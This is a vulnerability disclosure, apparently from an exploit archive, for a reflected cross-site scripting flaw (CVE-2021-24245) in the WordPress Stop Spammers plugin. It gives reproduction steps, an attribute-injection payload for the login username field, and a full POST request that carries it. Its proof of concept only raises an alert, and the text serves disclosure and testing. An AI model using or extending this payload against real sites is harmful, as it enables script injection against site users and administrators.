WordPress Stop Spammers 2021.8 Cross Site Scripting

`# Exploit Title: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)  
# Date: 04/08/2021  
# Exploit Author: Hosein Vita  
# Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/  
# Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip  
# Version: <= 2021.8  
# Tested on: Windows-Ubuntu  
# CVE : CVE-2021-24245  
  
Summary:  
  
Reflected cross-site scripting (XSS) vulnerabilities in 'Stop Spammers <= 2021.8' allow remote attackers to run arbitary javascript  
  
Proof of concepts:  
  
1-Install "Stop Spammers <= 2021.8" in your wordpress website  
2-For testing remove your IP address from the allowed list  
3-Go to http://<YOUR-WEBSITE>/wp-admin  
4-In username field enter this payload ~> ad" accesskey=X onclick=alert(1) "  
#Notice the `ad` keyword must be in your payload!  
5-Press Alt + Shift + X to trigger Xss  
#Tested on Firefox  
  
Request POC:  
  
POST /wp-login.php HTTP/1.1  
Host: localhost  
Connection: close  
Content-Length: 161  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: wordpress_test_cookie=WP+Cookie+check;  
  
log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1  
`